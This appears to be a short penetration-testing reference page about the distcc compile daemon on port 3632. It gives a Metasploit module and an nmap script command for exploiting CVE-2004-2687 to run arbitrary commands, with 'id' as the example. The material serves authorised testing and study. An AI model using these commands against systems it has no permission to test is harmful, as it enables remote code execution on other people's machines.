## Basic Information

**Distcc** is a tool that enhances the **compilation process** by utilizing the **idle processing power** of other computers in the network. When **distcc** is set up on a machine, this machine is capable of distributing its **compilation tasks** to another system. This recipient system must be running the **distccd daemon** and must have a **compatible compiler** installed to process the sent code.

**Default port:** 3632

```
PORT     STATE SERVICE
3632/tcp open  distccd
```

## Exploitation

Check if it's vulnerable to **CVE-2004-2687** to execute arbitrary code:

```bash
msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
```

## Shodan

*I don't think shodan detects this service.*
